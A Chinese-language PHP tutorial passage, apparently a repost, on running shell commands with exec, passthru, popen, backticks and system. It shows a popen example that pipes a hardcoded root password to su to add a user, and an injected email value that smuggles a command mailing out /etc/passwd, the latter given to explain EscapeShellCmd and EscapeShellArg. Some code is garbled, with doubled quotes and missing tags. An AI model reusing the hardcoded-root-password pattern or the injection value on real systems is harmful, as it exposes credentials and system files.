php無法調用外部命令時的處理方法

來源:互聯網
上載者:User
  1. exec(""/bin/ls -l"");
  2. exec(""/bin/ls -l"", $res);
  3. #$res是一個資料,每個元素代表結果的一行
  4. exec(""/bin/ls -l"", $res, $rc);
  5. #$rc的值是命令/bin/ls -l的狀態代碼。成功的情況下通常是0
  6. ?>
複製代碼

passthru()原型:void passthru (string command [, int return_var])passthru()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出裝置上。所以passthru()函數經常用來調用象pbmplus(Unix下的一個處理圖片的工具,輸出二進位的原始圖片的流)這樣的程式。同樣它也可以得到命令執行的狀態代碼。

例子:

  1. header(""Content-type: image/gif"");
  2. passthru(""./ppmtogif hunte.ppm"");
  3. ?>
複製代碼

2,用popen()函數開啟進程以上方法只能簡單地執行命令,卻不能與命令互動。但有些時候必須向命令輸入一些東西,如在增加Linux的系統使用者時,要調用su來把目前使用者換到root才行,而su命令必須要在命令列上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen()函數開啟一個進程管道來執行給定的命令,返回一個檔案控制代碼。既然返回的是一個檔案控制代碼,那麼就可以對它讀和寫了。在PHP3中,對這種控制代碼只能做單一的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個控制代碼是以一種模式(讀或寫)開啟的,否則必須調用pclose()函數來關閉它。

例子1:

  1. $fp=popen(""/bin/ls -l"", ""r"");
  2. ?>
複製代碼

例子2:

  1. /* PHP中如何增加一個系統使用者
  2. 增加一個名字為james的使用者,
  3. root密碼是 verygood。僅供參考
  4. */
  5. $sucommand = ""su --login root --command"";
  6. $useradd = ""useradd "";
  7. $rootpasswd = ""verygood"";
  8. $user = ""james"";
  9. $user_add = sprintf(""%s ""%s %s"""",$sucommand,$useradd,$user);
  10. $fp = @popen($user_add,""w"");
  11. @fputs($fp,$rootpasswd);
  12. @pclose($fp);
  13. ?>
複製代碼

3,用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)方法很簡單,用兩個反撇號把要執行的命令括起來作為一個運算式,這個運算式的值就是命令執行的結果。如:

  1. $res=`/bin/ls -l`;
  2. echo '
    '.$res.'
    ';
  3. ?>
複製代碼

輸出類似這樣:hunte.gifhunte.ppmjpg.htmjpg.jpgpassthru.php要考慮兩個問題:安全性和逾時。先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個檔案中。你編寫了一個有表單的HTML檔案,讓你的使用者輸入他們的EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程式來發送這個檔案。程式就象這樣:

  1. system(""mail $to < products.txt"");
  2. echo ""產品目錄已經發送到你的信箱:$to"";
  3. ?>
複製代碼

用這段代碼,一般的使用者不會產生什麼危險,但實際上存在著非常大的安全性漏洞。如果有個惡意的使用者輸入了這樣一個EMAIL地址:'--bla mail someone@domain.com < /etc/passwd '那麼這條命令最終變成:'mail --bla mail someone@domain.com < /etc/passwd < products.txt'可怕吧。幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字串中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重新導向(>)和從檔案讀入(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字串兩邊加上單引號,並把字串中的單引號轉義,這樣這個字串就可以安全地作為命令的參數。

逾時問題如果要執行的命令會花費很長的時間,則應該把這個命令放到系統的後台去運行。但在預設情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP指令碼的逾時。

解決方案:把命令的輸出重新導向到另外一個檔案或流中,樣本:

  1. system(""/usr/local/bin/order_proc > /tmp/null &"");
  2. ?>
複製代碼
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.